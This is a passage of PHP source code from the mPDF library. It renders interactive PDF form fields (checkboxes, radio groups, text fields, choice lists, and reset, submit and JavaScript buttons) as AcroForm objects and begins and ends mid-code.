false; if (!empty($objattr['checked'])) { $checked = true; } if ($this->formUseZapD) { $save_font = $this->mpdf->FontFamily; $save_currentfont = $this->mpdf->currentfontfamily; $this->mpdf->SetFont('czapfdingbats'); } $this->SetCheckBox($w, $h, $objattr['fieldname'], $objattr['value'], $objattr['title'], $checked, $flags, (isset($objattr['disabled']) ? $objattr['disabled'] : false)); if ($this->formUseZapD) { $this->mpdf->SetFont($save_font); $this->mpdf->currentfontfamily = $save_currentfont; } } else { $iw = $w * 0.7; $ih = $h * 0.7; $lx = $x + (($w - $iw) / 2); $ty = $y + (($h - $ih) / 2); $rx = $lx + $iw; $by = $ty + $ih; $this->mpdf->SetLineWidth(0.2 / $k); if (!empty($objattr['disabled'])) { $this->mpdf->SetFColor($this->colorConverter->convert(225, $this->mpdf->PDFAXwarnings)); $this->mpdf->SetDColor($this->colorConverter->convert(127, $this->mpdf->PDFAXwarnings)); } else { $this->mpdf->SetFColor($this->colorConverter->convert(250, $this->mpdf->PDFAXwarnings)); $this->mpdf->SetDColor($this->colorConverter->convert(0, $this->mpdf->PDFAXwarnings)); } $this->mpdf->Rect($lx, $ty, $iw, $ih, 'DF'); if (!empty($objattr['checked'])) { //Round join and cap $this->mpdf->SetLineCap(1); $this->mpdf->Line($lx, $ty, $rx, $by); $this->mpdf->Line($lx, $by, $rx, $ty); //Set line cap style back to square $this->mpdf->SetLineCap(); } $this->mpdf->SetFColor($this->colorConverter->convert(255, $this->mpdf->PDFAXwarnings)); $this->mpdf->SetDColor($this->colorConverter->convert(0, $this->mpdf->PDFAXwarnings)); } } function print_ob_radio($objattr, $w, $h, $texto, $rtlalign, $k, $blockdir, $x, $y) { // RADIO if ($this->mpdf->useActiveForms) { $flags = []; if (!empty($objattr['disabled'])) { $flags[] = self::FLAG_READONLY; $flags[] = self::FLAG_NO_EXPORT; } $checked = false; if (!empty($objattr['checked'])) { $checked = true; } if ($this->formUseZapD) { $save_font = $this->mpdf->FontFamily; $save_currentfont = $this->mpdf->currentfontfamily; $this->mpdf->SetFont('czapfdingbats'); } $this->SetRadio($w, $h, $objattr['fieldname'], $objattr['value'], (isset($objattr['title']) ? $objattr['title'] : ''), $checked, $flags, (isset($objattr['disabled']) ? $objattr['disabled'] : false)); if ($this->formUseZapD) { $this->mpdf->SetFont($save_font); $this->mpdf->currentfontfamily = $save_currentfont; } } else { $this->mpdf->SetLineWidth(0.2 / $k); $radius = $this->mpdf->FontSize * 0.35; $cx = $x + ($w / 2); $cy = $y + ($h / 2); $color = $this->colorConverter->convert(0, $this->mpdf->PDFAXwarnings); if (isset($objattr['color']) && $objattr['color']) { $color = $objattr['color']; } if (!empty($objattr['disabled'])) { $this->mpdf->SetFColor($this->colorConverter->convert(127, $this->mpdf->PDFAXwarnings)); $this->mpdf->SetDColor($this->colorConverter->convert(127, $this->mpdf->PDFAXwarnings)); } else { $this->mpdf->SetFColor($color); $this->mpdf->SetDColor($color); } $this->mpdf->Circle($cx, $cy, $radius, 'D'); if (!empty($objattr['checked'])) { $this->mpdf->Circle($cx, $cy, $radius * 0.4, 'DF'); } $this->mpdf->SetFColor($this->colorConverter->convert(255, $this->mpdf->PDFAXwarnings)); $this->mpdf->SetDColor($this->colorConverter->convert(0, $this->mpdf->PDFAXwarnings)); } } private function getCountItems($form) { $total = 1; if ($form['typ'] === 'Tx') { if (isset($this->array_form_text_js[$form['T']])) { if (isset($this->array_form_text_js[$form['T']]['F'])) { $total++; } if (isset($this->array_form_text_js[$form['T']]['K'])) { $total++; } if (isset($this->array_form_text_js[$form['T']]['V'])) { $total++; } if (isset($this->array_form_text_js[$form['T']]['C'])) { $total++; } } } if ($form['typ'] === 'Bt') { if (isset($this->array_form_button_js[$form['T']])) { $total++; } if (isset($this->form_button_icon[$form['T']])) { $total++; if ($this->form_button_icon[$form['T']]['Indexed']) { $total++; } } if ($form['subtype'] === 'radio') { $total+=2; } elseif ($form['subtype'] === 'checkbox') { $total++; if (!$this->formUseZapD) { $total++; } } } if ($form['typ'] === 'Ch') { if (isset($this->array_form_choice_js[$form['T']])) { $total++; } } return $total; } // In _putpages function countPageForms($n, &$totaladdnum) { foreach ($this->forms as $form) { if ($form['page'] == $n) { $totaladdnum += $this->getCountItems($form); } } } // In _putpages function addFormIds($n, &$s, &$annotid) { foreach ($this->forms as $form) { if ($form['page'] == $n) { $s .= $annotid . ' 0 R '; $annotid += $this->getCountItems($form); } } } // In _putannots function _putFormItems($n, $hPt) { foreach ($this->forms as $val) { if ($val['page'] == $n) { if ($val['typ'] === 'Tx') { $this->_putform_tx($val, $hPt); } if ($val['typ'] === 'Ch') { $this->_putform_ch($val, $hPt); } if ($val['typ'] === 'Bt') { $this->_putform_bt($val, $hPt); } } } } // In _putannots function _putRadioItems($n) { // Output Radio Groups $key = 1; foreach ($this->form_radio_groups as $name => $frg) { $this->writer->object(); $this->pdf_acro_array .= $this->mpdf->n . ' 0 R '; $this->writer->write('<<'); $this->writer->write('/Type /Annot '); $this->writer->write('/Subtype /Widget'); $this->writer->write('/NM ' . $this->writer->string(sprintf('%04u-%04u', $n, 3000 + $key++))); $this->writer->write('/M ' . $this->writer->string('D:' . date('YmdHis'))); $this->writer->write('/Rect [0 0 0 0] '); $this->writer->write('/FT /Btn '); if (!empty($frg['disabled'])) { $flags = [self::FLAG_READONLY, self::FLAG_NO_EXPORT, self::FLAG_RADIO, self::FLAG_NOTOGGLEOFF]; } else { $flags = [self::FLAG_RADIO, self::FLAG_NOTOGGLEOFF]; } $this->writer->write('/Ff ' . $this->_setflag($flags)); $kstr = ''; // $optstr = ''; foreach ($frg['kids'] as $kid) { $kstr .= $this->forms[$kid['n']]['obj'] . ' 0 R '; // $optstr .= ' '.$this->writer->string($kid['OPT']).' '; } $this->writer->write('/Kids [ ' . $kstr . ' ] '); // 11 0 R 12 0 R etc. // $this->writer->write('/Opt [ '.$optstr.' ] '); //V entry holds index corresponding to the appearance state of //whichever child field is currently in the on state = or Off if (isset($frg['on'])) { $state = $frg['on']; } else { $state = 'Off'; } $this->writer->write('/V /' . $state . ' '); $this->writer->write('/DV /' . $state . ' '); $this->writer->write('/T ' . $this->writer->string($name) . ' '); $this->writer->write('>>'); $this->writer->write('endobj'); } } function _putFormsCatalog() { if (isset($this->pdf_acro_array)) { $this->writer->write('/AcroForm << /DA (/F1 0 Tf 0 g )'); $this->writer->write('/Q 0'); $this->writer->write('/Fields [' . $this->pdf_acro_array . ']'); $f = ''; foreach ($this->form_fonts as $fn) { if (is_array($this->mpdf->fonts[$fn]['n'])) { throw new \Mpdf\MpdfException('Cannot use fonts with SMP or SIP characters for interactive Form elements'); } $f .= '/F' . $this->mpdf->fonts[$fn]['i'] . ' ' . $this->mpdf->fonts[$fn]['n'] . ' 0 R '; } $this->writer->write('/DR << /Font << ' . $f . ' >> >>'); // CO Calculation Order if ($this->pdf_array_co) { $this->writer->write('/CO [' . $this->pdf_array_co . ']'); } $this->writer->write('/NeedAppearances true'); $this->writer->write('>>'); } } function SetFormButtonJS($name, $js) { $js = str_replace("\t", ' ', trim($js)); if (isset($name) && isset($js)) { $this->array_form_button_js[$this->writer->escape($name)] = [ 'js' => $js ]; } } function SetFormChoiceJS($name, $js) { $js = str_replace("\t", ' ', trim($js)); if (isset($name) && isset($js)) { $this->array_form_choice_js[$this->writer->escape($name)] = [ 'js' => $js ]; } } function SetFormTextJS($name, $js) { for ($i = 0; $i < count($js); $i++) { $j = str_replace("\t", ' ', trim($js[$i][1])); $format = $js[$i][0]; if ($name) { $this->array_form_text_js[$this->writer->escape($name)][$format] = ['js' => $j]; } } } function Win1252ToPDFDocEncoding($txt) { $Win1252ToPDFDocEncoding = [ chr(0200) => chr(0240), chr(0214) => chr(0226), chr(0212) => chr(0227), chr(0237) => chr(0230), chr(0225) => chr(0200), chr(0210) => chr(0032), chr(0206) => chr(0201), chr(0207) => chr(0202), chr(0205) => chr(0203), chr(0227) => chr(0204), chr(0226) => chr(0205), chr(0203) => chr(0206), chr(0213) => chr(0210), chr(0233) => chr(0211), chr(0211) => chr(0213), chr(0204) => chr(0214), chr(0223) => chr(0215), chr(0224) => chr(0216), chr(0221) => chr(0217), chr(0222) => chr(0220), chr(0202) => chr(0221), chr(0232) => chr(0235), chr(0230) => chr(0037), chr(0231) => chr(0222), chr(0216) => chr(0231), chr(0240) => chr(0040) ]; // mPDF 5.3.46 return strtr($txt, $Win1252ToPDFDocEncoding); } function SetFormText($w, $h, $name, $value = '', $default = '', $title = '', $flags = [], $align = 'L', $hidden = false, $maxlen = -1, $js = '', $background_col = false, $border_col = false) { $this->formCount++; if ($align === 'C') { $align = '1'; } elseif ($align === 'R') { $align = '2'; } else { $align = '0'; } if ($maxlen < 1) { $maxlen = false; } if (!preg_match('/^[a-zA-Z0-9_:\-]+$/', $name)) { throw new \Mpdf\MpdfException('Field [' . $name . '] must have a name attribute, which can only contain letters, numbers, colon(:), undersore(_) or hyphen(-)'); } if ($this->mpdf->onlyCoreFonts) { $value = $this->Win1252ToPDFDocEncoding($value); $default = $this->Win1252ToPDFDocEncoding($default); $title = $this->Win1252ToPDFDocEncoding($title); } else { if (isset($this->mpdf->CurrentFont['subset'])) { $this->mpdf->UTF8StringToArray($value); // Add characters to font subset $this->mpdf->UTF8StringToArray($default); // Add characters to font subset $this->mpdf->UTF8StringToArray($title); // Add characters to font subset } if ($value) { $value = $this->writer->utf8ToUtf16BigEndian($value); } if ($default) { $default = $this->writer->utf8ToUtf16BigEndian($default); } $title = $this->writer->utf8ToUtf16BigEndian($title); } if ($background_col) { $bg_c = $this->mpdf->SetColor($background_col, 'CodeOnly'); } else { $bg_c = $this->form_background_color; } if ($border_col) { $bc_c = $this->mpdf->SetColor($border_col, 'CodeOnly'); } else { $bc_c = $this->form_border_color; } $f = [ 'n' => $this->formCount, 'typ' => 'Tx', 'page' => $this->mpdf->page, 'x' => $this->mpdf->x, 'y' => $this->mpdf->y, 'w' => $w, 'h' => $h, 'T' => $name, 'FF' => $flags, 'V' => $value, 'DV' => $default, 'TU' => $title, 'hidden' => $hidden, 'Q' => $align, 'maxlen' => $maxlen, 'BS_W' => $this->form_border_width, 'BS_S' => $this->form_border_style, 'BC_C' => $bc_c, 'BG_C' => $bg_c, 'style' => [ 'font' => $this->mpdf->FontFamily, 'fontsize' => $this->mpdf->FontSizePt, 'fontcolor' => $this->mpdf->TextColor, ] ]; if (is_array($js) && count($js) > 0) { $this->SetFormTextJS($name, $js); } // mPDF 5.3.25 if ($this->mpdf->keep_block_together) { $this->mpdf->ktForms[] = $f; } elseif ($this->mpdf->writingHTMLheader || $this->mpdf->writingHTMLfooter) { $this->mpdf->HTMLheaderPageForms[] = $f; } else { if ($this->mpdf->ColActive) { $this->mpdf->columnbuffer[] = [ 's' => 'ACROFORM', 'col' => $this->mpdf->CurrCol, 'x' => $this->mpdf->x, 'y' => $this->mpdf->y, 'h' => $h ]; $this->mpdf->columnForms[$this->mpdf->CurrCol][(int) $this->mpdf->x][(int) $this->mpdf->y] = $this->formCount; } $this->forms[$this->formCount] = $f; } if (!in_array($this->mpdf->FontFamily, $this->form_fonts)) { $this->form_fonts[] = $this->mpdf->FontFamily; $this->mpdf->fonts[$this->mpdf->FontFamily]['used'] = true; } if (!$hidden) { $this->mpdf->x += $w; } } function SetFormChoice($w, $h, $name, $flags, $array, $align = 'L', $js = '') { $this->formCount++; if ($this->mpdf->blk[$this->mpdf->blklvl]['direction'] === 'rtl') { $align = '2'; } else { $align = '0'; } if (!preg_match('/^[a-zA-Z0-9_:\-]+$/', $name)) { throw new \Mpdf\MpdfException('Field [' . $name . '] must have a name attribute, which can only contain letters, numbers, colon(:), undersore(_) or hyphen(-)'); } if ($this->mpdf->onlyCoreFonts) { for ($i = 0; $i < count($array['VAL']); $i++) { $array['VAL'][$i] = $this->Win1252ToPDFDocEncoding($array['VAL'][$i]); $array['OPT'][$i] = $this->Win1252ToPDFDocEncoding($array['OPT'][$i]); } } else { for ($i = 0; $i < count($array['VAL']); $i++) { if (isset($this->mpdf->CurrentFont['subset'])) { $this->mpdf->UTF8StringToArray($array['VAL'][$i]); // Add characters to font subset $this->mpdf->UTF8StringToArray($array['OPT'][$i]); // Add characters to font subset } if ($array['VAL'][$i]) { $array['VAL'][$i] = $this->writer->utf8ToUtf16BigEndian($array['VAL'][$i]); } if ($array['OPT'][$i]) { $array['OPT'][$i] = $this->writer->utf8ToUtf16BigEndian($array['OPT'][$i]); } } } $f = ['n' => $this->formCount, 'typ' => 'Ch', 'page' => $this->mpdf->page, 'x' => $this->mpdf->x, 'y' => $this->mpdf->y, 'w' => $w, 'h' => $h, 'T' => $name, 'OPT' => $array, 'FF' => $flags, 'Q' => $align, 'BS_W' => $this->form_border_width, 'BS_S' => $this->form_border_style, 'BC_C' => $this->form_border_color, 'BG_C' => $this->form_background_color, 'style' => [ 'font' => $this->mpdf->FontFamily, 'fontsize' => $this->mpdf->FontSizePt, 'fontcolor' => $this->mpdf->TextColor, ] ]; if ($js) { $this->SetFormChoiceJS($name, $js); } if ($this->mpdf->keep_block_together) { $this->mpdf->ktForms[] = $f; } elseif ($this->mpdf->writingHTMLheader || $this->mpdf->writingHTMLfooter) { $this->mpdf->HTMLheaderPageForms[] = $f; } else { if ($this->mpdf->ColActive) { $this->mpdf->columnbuffer[] = ['s' => 'ACROFORM', 'col' => $this->mpdf->CurrCol, 'x' => $this->mpdf->x, 'y' => $this->mpdf->y, 'h' => $h]; $this->mpdf->columnForms[$this->mpdf->CurrCol][(int) $this->mpdf->x][(int) $this->mpdf->y] = $this->formCount; } $this->forms[$this->formCount] = $f; } if (!in_array($this->mpdf->FontFamily, $this->form_fonts)) { $this->form_fonts[] = $this->mpdf->FontFamily; $this->mpdf->fonts[$this->mpdf->FontFamily]['used'] = true; } $this->mpdf->x += $w; } // CHECKBOX function SetCheckBox($w, $h, $name, $value, $title = '', $checked = false, $flags = [], $disabled = false) { $this->SetFormButton($w, $h, $name, $value, 'checkbox', $title, $flags, $checked, $disabled); $this->mpdf->x += $w; } // RADIO function SetRadio($w, $h, $name, $value, $title = '', $checked = false, $flags = [], $disabled = false) { $this->SetFormButton($w, $h, $name, $value, 'radio', $title, $flags, $checked, $disabled); $this->mpdf->x += $w; } function SetFormReset($w, $h, $name, $value = 'Reset', $title = '', $flags = [], $background_col = false, $border_col = false, $noprint = false) { if (!$name) { $name = 'Reset'; } $this->SetFormButton($w, $h, $name, $value, 'reset', $title, $flags, false, false, $background_col, $border_col, $noprint); $this->mpdf->x += $w; } function SetJSButton($w, $h, $name, $value, $js, $image_id = 0, $title = '', $flags = [], $indexed = false, $background_col = false, $border_col = false, $noprint = false) { $this->SetFormButton($w, $h, $name, $value, 'js_button', $title, $flags, false, false, $background_col, $border_col, $noprint); // pos => 1 = no caption, icon only; 0 = caption only if ($image_id) { $this->form_button_icon[$this->writer->escape($name)] = [ 'pos' => 1, 'image_id' => $image_id, 'Indexed' => $indexed, ]; } if ($js) { $this->SetFormButtonJS($name, $js); } $this->mpdf->x += $w; } function SetFormSubmit($w, $h, $name, $value = 'Submit', $url = '', $title = '', $typ = 'html', $method = 'POST', $flags = [], $background_col = false, $border_col = false, $noprint = false) { if (!$name) { $name = 'Submit'; } $this->SetFormButton($w, $h, $name, $value, 'submit', $title, $flags, false, false, $background_col, $border_col, $noprint); $this->forms[$this->formCount]['URL'] = $url; $this->forms[$this->formCount]['method'] = $method; $this->forms[$this->formCount]['exporttype'] = $typ; $this->mpdf->x += $w; } function SetFormButtonText($ca, $rc = '', $ac = '') { if ($this->mpdf->onlyCoreFonts) { $ca = $this->Win1252ToPDFDocEncoding($ca); if ($rc) { $rc = $this->Win1252ToPDFDocEncoding($rc); } if ($ac) { $ac = $this->Win1252ToPDFDocEncoding($ac); } } else { if (isset($this->mpdf->CurrentFont['subset'])) { $this->mpdf->UTF8StringToArray($ca); // Add characters to font subset } $ca = $this->writer->utf8ToUtf16BigEndian($ca); if ($rc) { if (isset($this->mpdf->CurrentFont['subset'])) { $this->mpdf->UTF8StringToArray($rc); } $rc = $this->writer->utf8ToUtf16BigEndian($rc); } if ($ac) { if (isset($this->mpdf->CurrentFont['subset'])) { $this->mpdf->UTF8StringToArray($ac); } $ac = $this->writer->utf8ToUtf16BigEndian($ac); } } $this->form_button_text = $ca; $this->form_button_text_over = $rc ?: $ca; $this->form_button_text_click = $ac ?: $ca; } function SetFormButton($bb, $hh, $name, $value, $type, $title = '', $flags = [], $checked = false, $disabled = false, $background_col = false, $border_col = false, $noprint = false) { $this->formCount++; if (!preg_match('/^[a-zA-Z0-9_:\-]+$/', $name)) { throw new \Mpdf\MpdfException('Field [' . $name . '] must have a name attribute, which can only contain letters, numbers, colon(:), undersore(_) or hyphen(-)'); } if (!$this->mpdf->onlyCoreFonts) { if (isset($this->mpdf->CurrentFont['subset'])) { $this->mpdf->UTF8StringToArray($title); // Add characters to font subset $this->mpdf->UTF8StringToArray($value); // Add characters to font subset } $title = $this->writer->utf8ToUtf16BigEndian($title); if ($type === 'checkbox') { $uvalue = $this->writer->utf8ToUtf16BigEndian($value); } elseif ($type === 'radio') { $uvalue = $this->writer->utf8ToUtf16BigEndian($value); $value = mb_convert_encoding($value, 'Windows-1252', 'UTF-8'); } else { $value = $this->writer->utf8ToUtf16BigEndian($value); $uvalue = $value; } } else { $title = $this->Win1252ToPDFDocEncoding($title); $value = $this->Win1252ToPDFDocEncoding($value); //// ??? not needed $uvalue = mb_convert_encoding($value, 'UTF-8', 'Windows-1252'); $uvalue = $this->writer->utf8ToUtf16BigEndian($uvalue); } if ($type === 'radio' || $type === 'checkbox') { if (!preg_match('/^[a-zA-Z0-9_:\-\.]+$/', $value)) { throw new \Mpdf\MpdfException("Field '" . $name . "' must have a value, which can only contain letters, numbers, colon(:), underscore(_), hyphen(-) or period(.)"); } } if ($type === 'radio') { if (!isset($this->form_radio_groups[$name])) { $this->form_radio_groups[$name] = [ 'page' => $this->mpdf->page, 'kids' => [], ]; } $this->form_radio_groups[$name]['kids'][] = [ 'n' => $this->formCount, 'V' => $value, 'OPT' => $uvalue, 'disabled' => $disabled ]; if ($checked) { $this->form_radio_groups[$name]['on'] = $value; } // Disable the whole radio group if one is disabled, because of inconsistency in PDF readers if ($disabled) { $this->form_radio_groups[$name]['disabled'] = true; } } if ($type === 'checkbox') { $this->form_checkboxes = true; } if ($checked) { $activ = 1; } else { $activ = 0; } if ($background_col) { $bg_c = $this->mpdf->SetColor($background_col, 'CodeOnly'); } else { $bg_c = $this->form_button_background_color; } if ($border_col) { $bc_c = $this->mpdf->SetColor($border_col, 'CodeOnly'); } else { $bc_c = $this->form_button_border_color; } $f = ['n' => $this->formCount, 'typ' => 'Bt', 'page' => $this->mpdf->page, 'subtype' => $type, 'x' => $this->mpdf->x, 'y' => $this->mpdf->y, 'w' => $bb, 'h' => $hh, 'T' => $name, 'V' => $value, 'OPT' => $uvalue, 'TU' => $title, 'FF' => $flags, 'CA' => $this->form_button_text, 'RC' => $this->form_button_text_over, 'AC' => $this->form_button_text_click, 'BS_W' => $this->form_button_border_width, 'BS_S' => $this->form_button_border_style, 'BC_C' => $bc_c, 'BG_C' => $bg_c, 'activ' => $activ, 'disabled' => $disabled, 'noprint' => $noprint, 'style' => [ 'font' => $this->mpdf->FontFamily, 'fontsize' => $this->mpdf->FontSizePt, 'fontcolor' => $this->mpdf->TextColor, ] ]; if ($this->mpdf->keep_block_together) { $this->mpdf->ktForms[] = $f; } elseif ($this->mpdf->writingHTMLheader || $this->mpdf->writingHTMLfooter) { $this->mpdf->HTMLheaderPageForms[] = $f; } else { if ($this->mpdf->ColActive) { $this->mpdf->columnbuffer[] = ['s' => 'ACROFORM', 'col' => $this->mpdf->CurrCol, 'x' => $this->mpdf->x, 'y' => $this->mpdf->y, 'h' => $hh]; $this->mpdf->columnForms[$this->mpdf->CurrCol][(int) $this->mpdf->x][(int) $this->mpdf->y] = $this->formCount; } $this->forms[$this->formCount] = $f; } if (!in_array($this->mpdf->FontFamily, $this->form_fonts)) { $this->form_fonts[] = $this->mpdf->FontFamily; $this->mpdf->fonts[$this->mpdf->FontFamily]['used'] = true; } $this->form_button_text = null; $this->form_button_text_over = null; $this->form_button_text_click = null; } function SetFormBorderWidth($string) { switch ($string) { case 'S': $this->form_border_width = '1'; break; case 'M': $this->form_border_width = '2'; break; case 'B': $this->form_border_width = '3'; break; case '0': $this->form_border_width = '0'; break; default: $this->form_border_width = '0'; break; } } function SetFormBorderStyle($string) { switch ($string) { case 'S': $this->form_border_style = 'S'; break; case 'D': $this->form_border_style = 'D /D [3]'; break; case 'B': $this->form_border_style = 'B'; break; case 'I': $this->form_border_style = 'I'; break; case 'U': $this->form_border_style = 'U'; break; default: $this->form_border_style = 'B'; break; } } function SetFormBorderColor($r, $g = -1, $b = -1) { $this->form_border_color = $this->getColor($r, $g, $b); } function SetFormBackgroundColor($r, $g = -1, $b = -1) { $this->form_background_color = $this->getColor($r, $g, $b); } private function getColor($r, $g = -1, $b = -1) { if (($r == 0 && $g == 0 && $b == 0) || $g == -1) { return sprintf('%.3F', $r / 255); } return sprintf('%.3F %.3F %.3F', $r / 255, $g / 255, $b / 255); } function SetFormD($W, $S, $BC, $BG) { $this->SetFormBorderWidth($W); $this->SetFormBorderStyle($S); $this->SetFormBorderColor($BC); $this->SetFormBackgroundColor($BG); } function _setflag($array) { $flag = 0; foreach ($array as $val) { $flag += 1 << ($val - 1); } return $flag; } function _form_rect($x, $y, $w, $h, $hPt) { $x *= Mpdf::SCALE; $y = $hPt - ($y * Mpdf::SCALE); $x2 = $x + ($w * Mpdf::SCALE); $y2 = $y - ($h * Mpdf::SCALE); return sprintf('%.3F %.3F %.3F %.3F', $x, $y2, $x2, $y); } function _put_button_icon($array, $w, $h) { $info = true; if (isset($array['image_id'])) { $info = false; foreach ($this->mpdf->images as $iid => $img) { if ($img['i'] == $array['image_id']) { $info = $this->mpdf->images[$iid]; break; } } } if (!$info) { throw new \Mpdf\MpdfException('Cannot find Button image'); } $this->writer->object(); $this->writer->write('<<'); $this->writer->write('/Type /XObject'); $this->writer->write('/Subtype /Image'); $this->writer->write('/BBox [0 0 1 1]'); $this->writer->write('/Length ' . strlen($info['data'])); $this->writer->write('/BitsPerComponent ' . $info['bpc']); if ($info['cs'] === 'Indexed') { $this->writer->write('/ColorSpace [/Indexed /DeviceRGB ' . (strlen($info['pal']) / 3 - 1) . ' ' . ($this->mpdf->n + 1) . ' 0 R]'); } else { $this->writer->write('/ColorSpace /' . $info['cs']); if ($info['cs'] === 'DeviceCMYK') { if ($info['type'] === 'jpg') { $this->writer->write('/Decode [1 0 1 0 1 0 1 0]'); } } } if (isset($info['f'])) { $this->writer->write('/Filter /' . $info['f']); } if (isset($info['parms'])) { $this->writer->write($info['parms']); } $this->writer->write('/Width ' . $info['w']); $this->writer->write('/Height ' . $info['h']); $this->writer->write('>>'); $this->writer->stream($info['data']); $this->writer->write('endobj'); //Palette if ($info['cs'] === 'Indexed') { $filter = $this->mpdf->compress ? '/Filter /FlateDecode ' : ''; $this->writer->object(); $pal = $this->mpdf->compress ? gzcompress($info['pal']) : $info['pal']; $this->writer->write('<<' . $filter . '/Length ' . strlen($pal) . '>>'); $this->writer->stream($pal); $this->writer->write('endobj'); } } function _putform_bt($form, $hPt) { $cc = 0; $put_js = 0; $put_icon = 0; $this->writer->object(); $n = $this->mpdf->n; if ($form['subtype'] !== 'radio') { $this->pdf_acro_array .= $n . ' 0 R '; // Add to /Field element } $this->forms[$form['n']]['obj'] = $n; $this->writer->write('<<'); $this->writer->write('/Type /Annot '); $this->writer->write('/Subtype /Widget'); $this->writer->write('/NM ' . $this->writer->string(sprintf('%04u-%04u', $n, 7000 + $form['n']))); $this->writer->write('/M ' . $this->writer->string('D:' . date('YmdHis'))); $this->writer->write('/Rect [ ' . $this->_form_rect($form['x'], $form['y'], $form['w'], $form['h'], $hPt) . ' ]'); $form['noprint'] ? $this->writer->write('/F 0 ') : $this->writer->write('/F 4 '); $this->writer->write('/FT /Btn '); $this->writer->write('/H /P '); if ($form['subtype'] !== 'radio') { // mPDF 5.3.23 $this->writer->write('/T ' . $this->writer->string($form['T'])); } $this->writer->write('/TU ' . $this->writer->string($form['TU'])); if (isset($this->form_button_icon[$form['T']])) { $form['BS_W'] = 0; } if ($form['BS_W'] == 0) { $form['BC_C'] = $form['BG_C']; } $bstemp = ''; $bstemp .= '/W ' . $form['BS_W'] . ' '; $bstemp .= '/S /' . $form['BS_S'] . ' '; $temp = ''; $temp .= '/BC [ ' . $form['BC_C'] . ' ] '; $temp .= '/BG [ ' . $form['BG_C'] . ' ] '; if ($form['subtype'] === 'checkbox') { if ($form['disabled']) { $radio_color = '0.5 0.5 0.5'; $radio_background_color = '0.9 0.9 0.9'; } else { $radio_color = $this->form_radio_color; $radio_background_color = $this->form_radio_background_color; } $temp = ''; $temp .= '/BC [ ' . $radio_color . ' ] '; $temp .= '/BG [ ' . $radio_background_color . ' ] '; $this->writer->write('/BS << /W 1 /S /S >>'); $this->writer->write("/MK << $temp >>"); $this->writer->write('/Ff ' . $this->_setflag($form['FF'])); if ($form['activ']) { $this->writer->write('/V /' . $this->writer->escape($form['V']) . ' '); $this->writer->write('/DV /' . $this->writer->escape($form['V']) . ' '); $this->writer->write('/AS /' . $this->writer->escape($form['V']) . ' '); } else { $this->writer->write('/AS /Off '); } if ($this->formUseZapD) { $this->writer->write('/DA (/F' . $this->mpdf->fonts['czapfdingbats']['i'] . ' 0 Tf ' . $radio_color . ' rg)'); $this->writer->write('/AP << /N << /' . $this->writer->escape($form['V']) . ' ' . ($this->mpdf->n + 1) . ' 0 R /Off /Off >> >>'); } else { $this->writer->write('/DA (/F' . $this->mpdf->fonts[$this->mpdf->CurrentFont['fontkey']]['i'] . ' 0 Tf ' . $radio_color . ' rg)'); $this->writer->write('/AP << /N << /' . $this->writer->escape($form['V']) . ' ' . ($this->mpdf->n + 1) . ' 0 R /Off ' . ($this->mpdf->n + 2) . ' 0 R >> >>'); } $this->writer->write('/Opt [ ' . $this->writer->string($form['OPT']) . ' ' . $this->writer->string($form['OPT']) . ' ]'); } if ($form['subtype'] === 'radio') { if ((isset($form['disabled']) && $form['disabled']) || (isset($this->form_radio_groups[$form['T']]['disabled']) && $this->form_radio_groups[$form['T']]['disabled'])) { $radio_color = '0.5 0.5 0.5'; $radio_background_color = '0.9 0.9 0.9'; } else { $radio_color = $this->form_radio_color; $radio_background_color = $this->form_radio_background_color; } $this->writer->write('/Parent ' . $this->form_radio_groups[$form['T']]['obj_id'] . ' 0 R '); $temp = ''; $temp .= '/BC [ ' . $radio_color . ' ] '; $temp .= '/BG [ ' . $radio_background_color . ' ] '; $this->writer->write('/BS << /W 1 /S /S >>'); $this->writer->write('/MK << ' . $temp . ' >> '); $form['FF'][] = self::FLAG_NOTOGGLEOFF; $form['FF'][] = self::FLAG_RADIO; // must be same as radio button group setting? $this->writer->write('/Ff ' . $this->_setflag($form['FF'])); if ($this->formUseZapD) { $this->writer->write('/DA (/F' . $this->mpdf->fonts['czapfdingbats']['i'] . ' 0 Tf ' . $radio_color . ' rg)'); } else { $this->writer->write('/DA (/F' . $this->mpdf->fonts[$this->mpdf->CurrentFont['fontkey']]['i'] . ' 0 Tf ' . $radio_color . ' rg)'); } $this->writer->write('/AP << /N << /' . $this->writer->escape($form['V']) . ' ' . ($this->mpdf->n + 1) . ' 0 R /Off ' . ($this->mpdf->n + 2) . ' 0 R >> >>'); if ($form['activ']) { $this->writer->write('/V /' . $this->writer->escape($form['V']) . ' '); $this->writer->write('/DV /' . $this->writer->escape($form['V']) . ' '); $this->writer->write('/AS /' . $this->writer->escape($form['V']) . ' '); } else { $this->writer->write('/AS /Off '); } $this->writer->write('/AP << /N << /' . $this->writer->escape($form['V']) . ' ' . ($this->mpdf->n + 1) . ' 0 R /Off ' . ($this->mpdf->n + 2) . ' 0 R >> >>'); // $this->writer->write('/Opt [ '.$this->writer->string($form['OPT']).' '.$this->writer->string($form['OPT']).' ]'); } if ($form['subtype'] === 'reset') { $temp .= $form['CA'] ? '/CA ' . $this->writer->string($form['CA']) . ' ' : '/CA ' . $this->writer->string($form['T']) . ' '; $temp .= $form['RC'] ? '/RC ' . $this->writer->string($form['RC']) . ' ' : '/RC ' . $this->writer->string($form['T']) . ' '; $temp .= $form['AC'] ? '/AC ' . $this->writer->string($form['AC']) . ' ' : '/AC ' . $this->writer->string($form['T']) . ' '; $this->writer->write("/BS << $bstemp >>"); $this->writer->write('/MK << ' . $temp . ' >>'); $this->writer->write('/DA (/F' . $this->mpdf->fonts[$form['style']['font']]['i'] . ' ' . $form['style']['fontsize'] . ' Tf ' . $form['style']['fontcolor'] . ')'); $this->writer->write('/AA << /D << /S /ResetForm /Flags 1 >> >>'); $form['FF'][] = 17; $this->writer->write('/Ff ' . $this->_setflag($form['FF'])); } if ($form['subtype'] === 'submit') { $temp .= $form['CA'] ? '/CA ' . $this->writer->string($form['CA']) . ' ' : '/CA ' . $this->writer->string($form['T']) . ' '; $temp .= $form['RC'] ? '/RC ' . $this->writer->string($form['RC']) . ' ' : '/RC ' . $this->writer->string($form['T']) . ' '; $temp .= $form['AC'] ? '/AC ' . $this->writer->string($form['AC']) . ' ' : '/AC ' . $this->writer->string($form['T']) . ' '; $this->writer->write("/BS << $bstemp >>"); $this->writer->write("/MK << $temp >>"); $this->writer->write('/DA (/F' . $this->mpdf->fonts[$form['style']['font']]['i'] . ' ' . $form['style']['fontsize'] . ' Tf ' . $form['style']['fontcolor'] . ')'); // Bit 4 (8) = useGETmethod else use POST // Bit 3 (4) = HTML export format (charset chosen by Adobe)--- OR --- // Bit 6 (32) = XFDF export format (form of XML in UTF-8) if 